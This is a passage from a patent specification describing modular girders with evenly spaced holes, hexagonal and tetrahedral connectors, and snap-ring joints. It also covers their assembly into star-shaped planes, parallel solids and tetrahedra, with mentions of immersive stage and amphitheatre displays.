When the invention further reproduces synchronous sound and other stimuli to each of the human senses, the event is experienced by the observor with the immediacy of reality, recorded by each of his senses responding to its respective stimulus.
DETAILED SUMMARY OF THE INVENTION
Structural elements with nine efficiencies are set forth in FIGS. 1 thru 4, with a special feature in FIG. 16.
FIG. 1 shows a single plane comprising said structural elements. The pattern of symbols in FIG. 1 for designating structural means, is followed when feasible thruout the specification to designate corresponding means. FIG. 1-a shows said pattern for the first triangle, shown in detail in a horizontal view in FIG. 1-b, and in a vertical view in FIG. 1-c. FIG. 1-d shows said pattern in a six-pointed star enclosed in a larger triangle. FIG. 1-e shows a horizontal view of the detail of FIG. 1-d. FIG. 1-f shows a vertical view, which shows the location in FIG. 1-e of structural members 1, 3, 4, 6, 7, 8, and 9.
FIG. 2 shows certain connectors for said structural members. FIG. 2-a shows a horizontal view of connector 12. FIG. 2-b shows a horizontal view of connector 13. FIG. 2-c shows four horizontal views of the connection of two planes by said connectors, and FIG. 2-d shows a vertical view of the same structure. FIG. 2-e shows a vertical view of the face and side of subconnector 14. FIG. 2-e further shows a vertical view of the relationship of a pair of similar subconnectors, 14 and 14'.
Special features of structural elements with integral connectors are shown in FIG. 16. FIG. 16-a shows a horizontal view of structural element I-3'. FIG. 16-b shows a vertical view of structural elements I-3' and I-2'. FIG. 16-c shows certain detail of location 3'-a in FIG. 16-b. FIG. 16-d shows certain detail of location 2'-a in FIG. 16-b.
FIG. 3-a shows a horizontal view of three said planes supported in a parallel relationship. FIG. 3-b in its solid lines shows a vertical view of section ED in FIG. 3-a. FIG. 3-b in its dashed lines indicates the relationship of vertical supports 17 and 20, said supports shown in FIG. 3-a.
FIG. 4 shows a solid structure, tetrahedron 32 in a horizontal view in FIG. 4-b, constructed by four equilateral triangles shown in a horizontal view in FIG. 4-a.
FIG. 5 shows an embodiment of a manufacturing method for certain structural elements. FIG. 5-a comprises a vertical view. FIG. 5-b comprises a horizontal view.
FIGS. 6, 7, and 8 each comprise a horizontal plan of an embodiment of the invention, with a sound stage selected as the structure, and the drama "Macbeth" by William Shakespeare selected as the example.
The drawings in FIGS. 6 and 7 each shows its respective structures on a scale of 1/32" per foot. FIG. 6 shows Macbeth's castle at the performing level. FIG. 7 shows the overhead light bridges and special effects overhead, for the stage shown in FIG. 6.
FIG. 8 shows the horizontal plan of a model of a similar structure. Said model reproduces each respective live stage, on a scale of 1/4" per foot. Said model, as shown, reproduces only two levels. It reproduces the performing level of Macbeth's castle shown in FIG. 6. It also reproduces the lower level comprising the rocks and sea beneath the promontory 61 on which Macbeth's castle is built, and the manor slope 59, leading upward to the castle terrace 57. The ratio between said model and said drawing is eight to one.
FIGS. 9, 10, 11, and 12 show an embodiment of the invention, for example in an amphitheatre where the observor experiences the visual and other physical sensations of the New York World's Fair of 1964-1965.
FIG. 9 shows a horizontal plan, on a scale of 1/96" per foot. In FIG. 9, the lines of dashes represent the pavilions and landscape in the foreground of the circumference of the spectacle surrounding the observor, who is situated in the arena or central stage in the area where the Unisphere is constructed. The scene is photographed in color stereo to the horizon, 360 degrees circumferentially and 180 degrees vertically. The foreground of said scene photographed, is shown by lines of dashes in FIG. 9. The amphitheatre comprising the central stage is shown by solid lines in FIG. 9.
FIG. 10 shows the stereo camera, for example, which photographs said scene. FIG. 10-a shows a horizontal view of the horizontal index XI for said stereo camera 103, comprising the 360 degree hexagonal circumference. FIG. 10-b shows the 360 degree vertical index for said camera, including the 180 degrees overhead. FIG. 10-c shows a vertical view of said camera and its boom 101.
FIGS. 11 and 12 show embodiments of applicant's invention, corresponding to the amphitheatre comprising the central stage in FIG. 9. FIG. 15 shows certain detail of the stereo projector shown in FIG. 12.
FIG. 11-a shows a horizontal view of the six fountains 75 in the central amphitheatre, shown flowing with water in the vertical view in FIG. 11-b, therein surrounded 360 degrees circumferentially by the displayed color scenes, in stereo, creating on all sides to the horizon the New York World's Fair of 1964-1965 photographed as shown in FIG. 9.
FIG. 12-a similarly shows a horizontal view of said six fountains with seats 113 for an audience facing outward "centrifugal ly", i.e. with line of sight to the horizon circumferentially for 360 degrees. FIG. 12-b shows a vertical view of FIG. 12-a, including the color scene, in stereo, displayed 180 degrees vertically overhead.
FIG. 13 similarly shows an amphitheatre with its seats for an audience facing inward or "centripetally", for example at a theatre-in-the-round. FIG. 13-a shows a horizontal plan with seats 117 facing inward surrounding the center stage which there comprises the foreground of the stereo scenes displayed circumferentially. FIG. 13-b shows a vertical view of FIG. 13-a, including theatre-in-the-round XVII-a, and also scenes displayed 180 degrees overhead.
FIG. 14 shows additional embodiments of the invention. FIG. 14-a shows a horizontal view, including an entrance. FIG. 14-b shows a horizontal view with display comprising Xograph reproductions, and FIG. 14-c shows a vertical view of the same with the display vertically 360 degrees above and beneath the observor. FIG. 14-d shows a horizontal view of an embodiment including stereo motion picture scenes, and FIG. 14-e shows a horizontal view of an irregular cyclorama and structure 133.
Displays shown in FIGS. 15-a and 15-b comprise vertical sections of FIG. 15-a. FIG. 15-d shows a horizontal view of a display corresponding to FIG. 15-a. FIG. 15-f shows a vertical section of the display shown in FIG. 15-e.
For FIG. 16, integral connectors, of. supra, FIG. 2.
STRUCTURAL ELEMENTS WITH THE NINE EFFICIENCIES
Preferred embodiments of the invention are shown in FIGS. 1 thru 4, with special features in FIG. 16, to achieve each of the nine efficiencies in a solid structure.
FIG. 1 shows a single plane of said structure. FIGS. 2 and 16 show certain means for connecting structural elements. FIG. 3 shows three said planes supported in a parallel relationship. FIG. 4 shows a solid, tetrahedron 32, constructed by four said planes.
Two-Dimensional Structure (A Supporting Plane)
In FIG. 1 each structural element comprises a girder of rigid material, laminated pegboard, with determinable locations at equal increments thruout its length. Each girder is 7/8" wide by 3/8" thick, with holes 1/4" in diameter spaced at 1" increments thruout the length of the 7/8" surface to form a structural element, or girder. It is apparent that many alternative materials known to the art of construction, each adapted to its respective purposes, similarly may be used. Said alternative materials include metals such as aluminum and steel; plastics including rolled, extruded, and injection-molded; wood; and many other materials, with various dimensions.
In FIG. 1, six identical structural members, or girders, are shown, designated respectively as 1, 2, 3, 4, 5, and 6. In each girder its first location is designated "a", with its additional six holes designated in sequence as shown at girder 3 in FIG. 1-b, namely, locations 3-b, 3-c, 3-d, 3-e, 3-f, and 3-g. The center of each hole measures one inch from the center of its nearest adjacent hole, so that the distance from location a to location g is six inches.
FIG. 1-a shows girders 1, 2 and 3 in a horizontal view, with vertices A, C and E respectively, in the pattern of sumbols used to designate corresponding means whenever feasible thruout this specification.
FIG. 1-b shows a horizontal view of the detail of the means shown in FIG. 1-a. Inasmuch as each girder in this embodiment comprises flat material, the girders shown in FIG. 1-b are displaced from a flat plane by the thickness of each respective girder. Therefore, round spacer 10, the thickness of a girder (e/8"), is inserted at vertex A in FIGS. 1-b and 1-e with the result that the horizontal surfaces of each of respective girders are parallel to a common plane.
Inasmuch as each location in each girder comprises, in this embodiment, a hole one-quarter inch in diameter, the means shown in vertical view FIG. 1-c to connect said girders, comprises one-quarter inch wooden dowel pins snugly slidable within a one-quarter inch hole. Many other equivalent fastening means will be shown and described hereafter in this specification, including machine screws and threaded holes, bolts and nuts, and pins to engage snap rings.
In FIG. 1-b, girders 1, 2 and 3 are fastened at vertices A, C, and E, to son struct an equilateral triangle, with six inches between each vertex. The usual triangle shown in this specification comprises an equilateral triangle.
FIG. 1-c shows a vertical view of the means shown in FIG. 1-b.
In FIG. 1-d, girders 1 thru 6 are connected to construct a six-pointed star, comprising its six points at vertices A, B, C, D, E, and F, said figure designated as star I. Star I is shown located inside of a larger triangle comprising girders 7, 8, and 9. The pattern of symbols for designating the girders and vertices of star I in FIG. 1-d, is followed thruout this specification when feasible, to designate corresponding means. Said pattern of symbols thus is adhered to, unless stated otherwise, irrespective of the scale of size in which a six-pointed star is constructed, or the number of locations in each respective girder. Said locations, each separated by its respective minimum increment of distance, are designated, in sequence, by the symbols a, b, c, etc., up to and including the maximum plurality of said locations in each respective girder. Also, the six vertices comprising hexagon GHIJKL shown in FIG. 1-e, are designated similarly, each by its respective symbol comprising a capital letter.
FIG. 1-e shows a horizontal view of the detail of the structure shown in FIG. 1-d.
In FIG. 1-e, girders 4, 5, and 6 are connected at vertices B, D, and F, to construct triangle BDF. In FIG. 1-e at each vertex the respective fastening means, not shown, comprises means similar to each fastening means shown in FIG. 1-c. In FIG. 1-e, triangle ACE is interlaced with triangle BDF, and connected by pins at vertices G, H, I, J, K and L, each said pin inserted thru locations c, and e, respectively of each girder as shown, to construct six-pointed star ABCDEF, designated star I. Each of the six structural elements comprising star I, is six inches in length.
In said star I, each pair of girders 1 and 4, 2 and 5, and 3 and 6, have the same relationship to their common plane as the corresponding girder in FIG. 1-c.
In FIG. 1-e, girders 7, 8 and 9 each have thirteen locations, each location separated from its adjacent location(s) by equal increments, said locations shown in girder 9 and designated, in sequence, 9-a, 9-b, 9-c, 9-d, 9-e, 9-f, 9-g, 9-h, 9-i, 9-j, 9-k, 9-l, and 9-m. Each said girder is similar to girder 3, except for the additional length of girder 9 comprising its additional locations. Therefore the length of each of girders 7, 8, and 9, measured between its respective locations a and m, is twelve inches.
Girders 7, 8, and 9 are connected at locations a and m in each respective girder, to construct an equilateral triangle comprises vertices M, N, and O, said triangle with equal sides of twelve inches. A single round spacer 11, with thickness of 3/8", is inserted at vertex M in the usual manner.
Star I is shown connected within triangle MNO, by connections between vertices B, D, and F of star I, and the respective location g of each of girders 7, 8, and 9. Each girder in triangle MNO is shown in the same exact horizontal plane as the plane of each parallel girder in star I. All girders in FIG. 1-e are parallel to a common plane, as shown in FIG. 1-f.
FIG. 1-f shows a vertical view of the vertical location in FIG. 1-e of structural members 1, 3, 4, 6, 7, 8, and 9, shown from the position of girder 8.
In FIG. 1-e, it is apparent that each triangle constructed between the equidistant locations of three girders comprising an equilateral triangle, similarly constructs an equilateral triangle between said equidistant locations. For example, a triangle constructed as follows will comprise an equilateral triangle comprising three sides each one inch in length: first side, girder 1, location 1-a to 1-b; second side, location 1-b to location 3-f; and third side, location 3-f to location 3-g.
Similarly, a triangle constructed as follows will comprise an equilateral triangle comprising three sides each two inches in length: first side, girder 1, location 1-a to location 1-c; second side, location 1-c to location 3-e; and third side, location 3-e to location 3-g; comprising triangle AGL in FIG. 1-e.
Similarly, equilateral triangles with sides of three inches, four inches, and five inches, will be constructed by connections to corresponding locations of girders 1, 2, and 3 of triangle ACE. Similarly, in FIG. 1-e, triangle DEF comprises means identical to triangle ACE. And in triangle MNO, triangle MBF is identical to said triangle ACE. Therefore in triangle MNO, equilateral triangles are constructed with sides of seven, eight, nine, ten, and eleven inches respectively, by connections to corresponding locations of girders 7, 8, and 9.
Therefore any similar girder of suitable length may be connected at any selected pair of its locations, to any said equilateral triangle constructed supra in FIG. 1-e with its sides from one to eleven inches in length, respectively.
Therefore FIG. 1-e comprises a mosaic of locations, to which any similar structural elements may be connected at any corresponding locations described supra. All such structural elements will be parallel to a single horizontal plane, similar to FIG. 1-f.
Each star is adapted to fold compactly. Stars designated I thru XXX are shown in this specification. The detail of star I is shown in FIG. 1-e. Triangle MNO is disregarded for the present purpose.
Star I comprises a parallelogram with six vertices, for example, as follows: vertices G, C, J, and F construct a parallelogram comprising structural element 1 and 4, and 2 and 5, as opposite sides; and vertices A and H, for example, each connect at a single location the other two structural elements, 3 and 6, respectively.
Said parallelogram, with two additional structural elements each attached at a single vertex thereof, selectively is folded into a compact structure comprising its six component structural elements with three parallel pairs of structural elements: 1 and 4, 2 and 5, and 3 and 6, respectively.
Therefore the disengagement of six vertices constructs the folding structure in the preceding paragraph: each apex B, D, and E, and vertices I, K, and L.
In the alternative, corresponding vertices are disengaged whereby structural elements 1 and 4, or alternatively 2 and 5, respectively, correspond to structural elements 3 and 6 in the alternative folding structures.
When other stars II thru XXX shown in this specification have certain adjacent structures corresponding to triangle MNO in FIG. 1-e, said adjacent structures selectively are disengaged.
Therefore each star or subcomponent thereof is adapted to be folded compactly for storage or transportation.
In conclusion, FIG. 1-e shows a mosaic in which any two corresponding locations supra may be connected to any selected, corresponding locations of every structural element of suitable length. In said mosaic, every structural element of suitable length is inte changeable. Said mosaic may be expanded to any finite size, comprising girders with any finite number of similar locations, its most extended location designated "N", with N comprising any finite multiple of one inch.
Said mosaic is constructed by the selection of a single minimum increment comprising one inch, or multiples thereof.
It is apparent that any standard distance other than one inch may be selected as the minimum increment between adjacent locations, to construct a similar mosaic. It is also apparent that the same described features will characterize each structural element in which certain selected locations are omitted, to the extent that said locations requisite for the necessary connections are included in the respective structural element. Locations may be omitted for may reasons, including economy in manufacture, aesthetics, and rigidity in the respective structural element.
Adjacent Structural Elements
FIG. 16 shows an embodiment of certain adjacent first and second structural elements positioned and secured by structure integral therewith, comprising integral connectors selectively at each location.
Said first structural element with integral connectors selectively comprises an additional 1/8" threaded hole, for example, as shown in FIG. 16, said hole adapted to engage a connector to said second structural element. Embodiments of said connectors are shown in FIG. 2.
FIG. 1 shows structural elements adaptable for connection, for example, by said connectors shown in FIG. 2.
FIG. 2 shows the following connectors adapted to construct solids. FIGS. 2-a and 2-b show connectors adapted to construct solids, for example, comprising parallel planes shown in FIG. 3, or tetrahedron 32 shown in FIG. 4. FIGS. 2-c and 2-d show connectors adapted to construct, for example, said tetrahedron. FIG. 2-e shows a subconnector adapted to construct a solid comprising parallel planes, or to cooperate to construct said tetrahedron.
FIG. 2-a shows connector 12, comprising a hexagon of wood 13/4" between opposite sides, and 7/8" thick. Equivalent materials such as metal are discussed supra.
Ten thru holes, each 1/4" in diameter, are located in connector 12 as follows. First, second, and third said holes, designated 12-a, 12-b, and 12-c, are positioned successively thru the middle of the horizontal 7/8" plane of connector 12, each said hole located in the center of its respective side of said hexagon. Perpendicular thereto, on the 13/4" hexagonal surface of said connector, six 1/4" thru holes designated 12-d, 12-e, 12-f, 12-g, 12-h, and 12-i, each are positioned 1/2" from the center of said surface, the position of each hole perpendicular to the respective horizontal hole. Tenth 1/4" hole 12-j is positioned in the center of said surface.
At holes 12-d thru 12-i, each opposite pair of holes is positioned 1" between centers. In the mosaic comprising FIG. 1-e, each structural element comprises adjacent locations selectively connected to each said pair of opposite holes.
With a first selected structural element (or two-dimensional plane) thus engaged by connector 12, a selected second structural element (or two-dimensional plane) is connected, for example to hole 12-a, to connect said structural elements (or two-dimensional planes) at a 90 degree angle, for example to construct a structure shown in FIG. 3 comprising parallel planes.
Connector 12 may comprise dimensions and material selected for requisite strength of material, and its intended use.
Therefore FIG. 2-b comprises connector 12' similar to said connector 12, except comprising a steel hexagon 7/8" between opposite sides, with each of its ten thru holes comprising a smaller hole threaded to receive a machine screw 1/8" in diameter.
Therefore the structural members I-5' and I-6' connected by connector 12' are similar to the structural members I-5 and I-6 shown in FIG. 1-e, except with each location comprising a hole 1/8" in diameter instead of 1/4" in diameter.
Alternative embodiments include the following.
Connector 12' selectively comprises a subconnector, for example with hole 12-j' connected to or integral with connector 13 shown in FIG. 2-c.
Connector 12' selectively comprises horizontal and vertical hexagons, each similar to the horizontal hexagon comprising connector 12', said connector therefore comprising two planes connected at a 90 degree angle at the location of corresponding holes "a" in each.
In a similar, alternative embodiment, said vertical hexagon is inclined, for example, at an angle of 60 degrees from said horizontal hexagon. The 60 degree included angle between adjacent holes of said vertical hexagon, and said horizontal hexagon, respectively, therefore is maintained thruout each said hexagon 360 degrees circumferentially. In this embodiment it is noted that the first angle between said two hexagons is greater than the second angle between two corresponding holes therein, except said two holes each exactly parallel to the respective side of said first angle. Each said side is perpendicular to the vertex of said first angle. Therefore in this alternative embodiment, the angle between the respective holes "g" of said two planes is less than 60 degrees, and therefore said two holes "g" do not construct the surfaces of a tetrahedron.
FIGS. 2-c and 2-d show connector 13 adapted, for example, to construct a solid with each vertex comprising a 60 degree angle, for example tetrahedron 32 shown hereafter in FIG. 4.
FIG. 2-c shows four horizontal views of said connector 13. FIG. 2-d shows a vertical view of two planes, each similar to plane DFB in FIG. 1-b, connected by two similar connectors 13 and 13', said planes comprising two surfaces of a tetrahedron. Said connectors have 1/8" threaded holes, similar to connector 12'.
The four views comprising FIG. 2-c show the following.
The first horizontal view of FIG. 2-c shows the base 13-a of connector 13, said base comprising an equilateral triangle with a hole threaded to engage a 1/8" machine screw. The center of said hole is located at the center of said triangle, said center equidistant from each of the three vertices thereof, at the intersection of three lines each dividing its respective 60 degree vertex into two 30 degree angles. Said hole comprises a 90 degree angle with said base.
In an alternative embodiment, represented in FIG. 13-a by lines of dashes adjacent to each vertex, said base comprises a modified figure, for example the hexagon indicated by said lines of dashes.
The second horizontal view of FIG. 2-c shows said triangle 13-a comprising the base of a tetrahedron, connector 13. Said tetrahedron comprises three sides and a base, each of its four surfaces identical to base 13-a. The 3/8" thru hole in base 13-a emerges at the apex of said tetrahedron. Each other thru hole is represented by lines of dashes in this view only. Each of the other three similar holes emerges thru its respective opposite vertex of connector 13.
The third horizontal view in FIG. 2-c shows connector 13 connected to a first plane comprising two horizontal structural elements, 5' and 6', similar to structural elements 5 and 6 of star I shown in FIG. 1, except each location comprising a 1/8" hole. Said connection is made by a 1/8" machine screw not shown, detail of a corresponding connection to connector 12' shown in FIG. 2-b.
The fourth horizontal view in FIG. 2-c is similar to the third view, with the vertex of a second plane comprising structural elements 5" and 6", connected to said first plane at vertex P by connector 13 at an upward inclination of 60 degrees, to construct two surfaces of a tetrahedron.
FIG. 2-d shows a vertical view of said first plane (horizontal in FIG. 2-d) and said second plane (60 degrees upward inclination in FIG. 2-d) connected by connector 13 at vertex P, and by similar connector 13' at vertex R.
FIG. 2-d shows the structure of FIG. 2-c, fourth view, in an expanded vertical view showing said first plane comprising a horizontal base, and said second plane at a 60 degree upward inclination, said planes connected by connector 13 at vertex P, and by similar connector 13' at vertex R. A third similar connector 15 is shown connected at the apex. The detail (not shown) of each of said connection is similar to the detail shown in FIG. 2-c, fourth view. The third vertex of said base comprises point Q, its connector not shown.
In FIG. 2-d, it is apparent that a perfect first tetrahedron is constructed, shown by lines of dashes, comprising triangle PQR as its base. Said second plane is displaced from said first plane by an amount equal exactly to the respective dimensions of connectors 13 and 13'. Each said plane comprises a surface of a second tetrahedron, shown by solid lines. Therefore connector 15 at the apex of said second tetrahedron comprises a similar dimension to establish the location of apex U of said perfect first tetrahedron.
Therefore a perfect structure similarly may be constructed by any connectors shown in this specification, including connectors in FIGS. 2 and 16, therefore including the structural elements comprising integral connectors shown in FIG. 16.
FIGS. 2-a and 2-b show connectors adapted to construct a solid, for example comprising parallel planes, by use of structural elements shown in FIG. 1. FIG. 16 combines said connectors, structural elements, and an engaging structure comprising a snap ring, into a structural element which combines the aforesaid structures including the nine efficiencies, the connecting surface, and the engaging structure to lock said structural elements together.
Therefore the structural elements shown in FIG. 16 are adapted to construct a solid, for example the solid comprising parallel planes, shown hereafter in FIG. 3.
Similarly, FIGS. 2-c and 2-d show connectors adapted to construct a solid, for example a tetrahedron, by use of structural elements shown in FIG. 1.
In an alternative embodiment corresponding to FIG. 16, a structural element, not shown, corresponding to I-3' in FIG. 16 comprises an integral connector selectively at each location adapted to connect at least one additional structural element or plane at an angle of 60 degrees, each additional structural element or plane corresponding to an additional surface of tetrahedron 32 shown in FIG. 4.
Therefore in said alternative embodiment, structural elements shown in FIG. 16 are adapted to construct a solid, for example a tetrahedron, each said structural element selectively combining the nine efficiencies, the connecting structure, and the engaging structure to lock said elements together.
In an alternative embodiment, each other connector shown in FIG. 2 and in this specification comprises a structural element with integral connectors, not shown, corresponding to structural element I-3' in FIG. 16, similarly combining the advantages of said structural element.
FIGS. 1-a and 1-d show symbols comprising letters and numbers, to designate corresponding structural elements, vertices, and locations thruout this specification. FIG. 1-e similarly shows symbols, comprising lower case letters, similarly to designate respective locations thruout this specification. Stars I thru XXX each similarly designates a structure for its respective use.
In each alternative embodiment, selected colors integral with each respective structural element or combination, not shown, codes the information represented by said symbols shown in this specification.
FIG. 2-e shows an alternative method to connect two structural elements. Said method uses connectors constructed from inexpensive material such as wood strips 7/8" wide by 1/2" thick. In said method, a connector comprises a single subconnector, or a pair of identical subconnectors. Said subconnectors 14 and 14' are shown in FIG. 2-e.
FIG. 2-e shows a vertical view of the face and of the side of subconnector 14 with three 1/4" thru holes. Said face of subconnector 14 shows two of said holes separated by the standard increment of one inch, to enable said subconnector to be attached rigidly to any pair of adjacent locations of any structural element shown, for example, in FIG. 1. Said vertical views of subconnector 14 show the third said hole drilled thru the side of said subconnector, at a right angle to said other two holes.
FIG. 2-e further shows a vertical view of subconnectors 14 and 14', with said third hole of subconnector 14 connected to the corresponding hole of subconnector 14' by a 1/4" diameter fastener (not shown), whereby subconnector 14 rotates selectively to any angle in relation to subconnector 14', said included angles shown comprising 60 degrees, 90 degrees, and 120 degrees. Said subconnectors 14 and 14' connect two planes similarly to each connector shown in FIGS. 2-c and 2-d, if each respective location comprises a hole of suitable diameter as described supra.
It is apparent that numerous connectors with certain selected features shown in FIG. 2 may be manufactured, within the spirit of the invention. Connectors may comprise angle irons, extruded plastic, molded plastic, and other equivalent means and materials.
With the teaching of this specification it is apparent that structural elements may be assembled or injection molded, for example, into a flat plane of uniform thickness corresponding, for example, to the planes shown in FIG. 1, when modular construction is desired rather than the universality of structural elements comprising girders. Many other modifications and combinations of the means described in this invention, within the spirit of this invention, will be apparent to persons skilled in the art.
Structural Elements Comprising Integral Connectors
FIG. 16 shows certain special features of structural elements with an enlarged view of an integral connector at each location. Structural elements 2' and 3' are shown manufactured by plastic by injection molding, to correspond with the general dimensions of structural elements 2 and 3 of star I in FIG. 1. The integral connectors hereafter described in FIG. 16 are manufactured substantially or entirely as integral features of said structural elements by methods which include techniques well known in the art of injection molding.
FIG. 16-a shows structural element 3' comprising integral connectors 3'-a, 3'-b, and 3'-c, shown in a horizontal view.
FIG. 16-b shows a vertical view of structural elements 2' and 3' . Structural element 2' comprises its integral connector shown at locations 2'-a, 2'-b, and 2'-c, with certain detail of said connector shown in a horizontal view in FIG. 16-d. Structural element 3' comprises its integral connectors shown at locations 3'-a, 3'-b, and 3'-c, with certain detail of connector 3'-a shown in a horizontal view in FIG. 16-c. Integral connector 3'-a is shown with its protrusion 3'-a-5. Integral connector 2'-a is shown with its hexagonal recess 2'-a-1, with certain detail thereof shown in FIG. 16-d.
FIG. 16-c shows a detailed, horizontal view of the hexagonal protrusion 3'-a-5 at location 3'-a in FIG. 16-b. Said protrusion comprises 1/4" hexagon 3'-a-5, its recess 3'-a-6 adapted to engage a suitable snap ring, its bevel 3'-a-7 for easy engagement with said snap ring, and its 1/8" diameter hole, 3'-a-8.
FIG. 16-d shows a detailed, horizontal view of the hexagonal recess at location 2'-a in FIG. 16-b, and its associated structure. Said detail comprises hexagonal recess 2'-a-1 adapted to fit protrusion 3'-a-5, bevel 2'-a-2 for easy insertion of a snap ring during manufacture, recess 2'-a-3 adapted to receive the permanent insertion of said snap ring including ample space for expansion of said snap ring during its engagement with protrusion 3'-a-5, and snap ring 2'-a-4 inserted as a step in manufacture of structural element 2'. It is apparent, as an alternative method of manufacture, that hexagonal recess 2'-a-1 may comprise a cylindrical insert into a larger hole comprising the expanded diameter of snap ring 2'-a-4, with said cylindrical insert cemented into place after the insertion of snap ring 2'-a-4 as a step in manufacture.
Therefore any of the six circumferential positions of hexagonal protrusion 3'-a-5 may be selected for its insertion Into hexagonal recess 2'-a-1, at location 2'-a in structural element 2'. Structural element 3' thereby is held parallel to structural element 2' by snap ring 2'-a-4, which engages concave recess 3'-a-6.
Said parallel relationship between structural elements 2' and 3' selectively may comprise a straight line, or an angle in FIG. 16-b horizontally thru the circumference of 360 degrees, in increments of 60 degrees, the angle of said relationship being determined by the respective positions of hexagonal protrusion 3'-a-5, and hexagonal recess 2'-a-1.
Therefore it is apparent that the planes shown in FIG. 1 may be constructed by similar structural elements with integral connectors, similar to said elements shown in FIG. 16.
It is further apparent that many similar means of connection may be used. Thru holes 3'-a-8 and 2'-a-8 are adapted to receive any suitable type of connector heretofore shown in FIGS. 1 and 2, 1/8" in diameter. Said thru holes may be threaded to fit a machine screw 1/8" in diameter. Each type of connector described for FIG. 2, alternatively may comprise a protrusion similar to the means shown in FIG. 16-c, at each location, to engage a snap ring corresponding to 2'-a-4.
Parallel Structures (A Solid)
FIG. 3-a shows a horizontal view of three planes similar to star I in FIG. 1, supported in a parallel relationship. FIG. 3-b in its solid lines shows a vertical view of said three planes, supported by vertical supports hereafter described.
FIG. 3-a shows six-pointed star II similar to star I in FIG. 1-e. Six vertical supports, all similar, are shown, each connected to two points of star II by a pair of subconnectors similar to subconnectors 14 and 14' shown in FIG. 2-e, each said connector (not shown in FIG. 3-a) adjusted at an angle of 90 degrees between the respective points of star II, and its respective vertical support. For detail of star II, and all similar means, reference is made to FIGS. 1 and 2, said detail not shown in FIG. 3 and other Figures hereafter, except as noted otherwise specifically.
In FIG. 3-a, star II is connected at its vertices D and E to vertical support 16 in the manner shown in FIG. 3-b. In FIG. 3-a, vertices E and F similarly are connected to vertical support 17; vertices F and A, to vertical support 18; vertices A and B, to vertical support 19; vertices B and C, to vertical support 20; and vertices C and D, to vertical support 21.
In FIG. 3-b, first vertical support 16 comprises two pairs of girders, each pair identical. Girders 22 and 23 each are identical to girder 1 in FIG. 1-a, except that each comprises five locations, with its distance from location a to location e comprising four inches. Girders 24 and 25 are identical to girder 1, except that each comprises three locations, so that the distance from its location a to location c comprises two inches. In said vertical support 16, first vertical girder 24 is connected to girders 22 and 23 at locations 24-a and 24-c, respectively. Location 24-a is connected to location 22-a of first diagonal girder 22, and location 24-c is connected to location 23-a of second diagonal girder 23. Diagonal girders 22 and 23 are reinforced by a connection at their meeting point comprising locations 22-c and 23-c. Second vertical girder 25 is connected at location 25-c to location 22-e of first diagonal girder 22, and at location 25-a to location 23-e of second diagonal girder 23.
Vertical supports 17, 18, 19, 20, and 21, are similar to first vertical support 16 in FIG. 3-b, comprising similar girders, each similarly connected at its corresponding locations.
In FIG. 3-b, location 24-a of first vertical girder 24 is connected to vertex E of star II, and location 25-a of second vertical girder 25 is connected to vertex D of star II, as described supra, with star II supported horizontally by six vertical supports as shown in FIG. 3-a.
In FIG. 3-b, star III is connected to locations 24-b and 25-b of first vertical support 16, in a manner similar to the connection of each respective location a to star II. In FIG. 3-a star III, not seen and parallel to horizontal star II, is connected to vertical supports second thru sixth, in a manner similar to that shown for star II therein.
In FIGS. 3-a and 3-b, star IV is connected to locations c of each vertical girder in vertical supports first thru sixth, in a manner similar to that shown for stars II and III.
Therefore, in FIG. 3 each vertex A of stars II, III, and IV, is connected by similar connecting means to its respective location of first vertical girder 24 in first vertical support 16. Similarly, each of vertices B, C, D, E, and F, are connected to corresponding means in each of the six vertical supports. Stars II, III, and IV are thus supported horizontally, with each parallel to the others.
Therefore vertex A in each of stars II, III, and IV, is in exact perpendicular alignment, in a straight vertical line. Similarly, every vertex in stars II, III, and IV is located respectively in a straight vertical line.
Star II is similar to star I shown in FIG. 1-e. Therefore, in FIG. 3 every location shown or described in the mosaic of star I in FIG. 1-e, is exactly perpendicular in a straight line at the corresponding locations of stars II, III, and IV.
It is apparent that each vertical support girder corresponding to girders 24 and 25 in FIG. 3-b, may comprise a similar girder with additional length comprising additional, similar locations. It is apparent that any additional star similar to star II may be connected in a similar manner to any said additional locations, whereby the mosaics of each of stars II, III, IV, and said additional stars, each will be exactly perpendicular in a straight line at the corresponding locations of all said stars.
FIG. 3-b in its dashed lines indicates the relationship of vertical supports 17 and 20, to first vertical support 16 shown in solid lines.
Therefore in FIG. 3, each of the nine efficiencies are achieved in the mosaic of each of stars II, III, and IV, and in vertical supports 16 thru 21, similarly to the mosaic in star I in FIG. 1-e.
Tetrahedron Structure (A Solid)
FIG. 4 shows four planes similar to plane MNO shown in FIG. 1-e, assembled into a three-dimensional solid, tetrahedron 32.
FIG. 4-a shows first plane MNO in a horizontal view. Its details not shown here were shown in FIG. 1-e. Plane MNO comprises seventh, eighth, and ninth girders 7, 8, and 9, and star I, similar to corresponding means in FIG. 1-e, except with each location here comprising a hole with a diameter of 1/8", instead of 1/4" as in FIG. 1-e.
In FIG. 4-a, three additional planes are shown identical to said plane MNO, said four planes comprising a large triangle, plane MSP. The second plane, NSV, comprises first girder 27, second girder 28, and third girder 26, enclosing star V. Third plane OVP comprises first girder 31, second girder 29, and third girder 30, enclosing star VI. Said first, second, and third planes enclose fourth plane NVO, comprising first girder 7', second girder 8', and third girder 9', enclosing star I'.
FIG. 4-b shows a horizontal view of the structure shown in FIG. 4-a, with planes MNO, NSV, and OVP connected to construct a tetrahedron with its base comprising plane NVO, and with its apex designated U. Said planes are connected at a sixty degree angle in relation to each adjacent plane, by connectors (not shown) similar to connector 13, with its detail of connection shown in FIGS. 2-c and 2-d, and described therewith, supra. There it is shown and described that said connector 13 connects its respective structural element to correspond to any selected location of a perfect tetrahedron.
In FIG. 4-b, in tetrahedron 32, it is apparent that vertex B of star I meets vert ix F of star V (shown in FIG. 4-a). Similarly, vertex B of star V meets vertex F of star VI at point W; and vertex B of star VI meets vertex F of star I at point X. Therefore, the distances W to X, X to Y, and Y to Z, each are identical to distance FB in star I. Plane WXY is connected to tetrahedron 32 by connectors similar to connector 13, in the manner shown in FIGS. 2-c and 2-d. Therefore plane WXY is identical to triangle ACE in star I', in the base of tetrahedron 32, and is identical to its corresponding triangle ACE shown in the plane comprising FIG. 1-e.
Therefore, within the three-dimensional solid of tetrahedron 32, any location in the mosaic of triangle ACE in its base, is intersected by a line exactly perpendicular to the corresponding location in the mosaic of parallel plane WXY.
Similarly, each equilateral plane within the mosaic of plane NVO comprising the base of tetrahedron 32, selectively may be constructed in a parallel plane connected to the corresponding locations of tetrahedron 32. In each mosaic thus constructed, it is apparent that each location is intersected by a line exactly perpendicular to the corresponding location in base NVO, within the solid comprising tetrahedron 32.
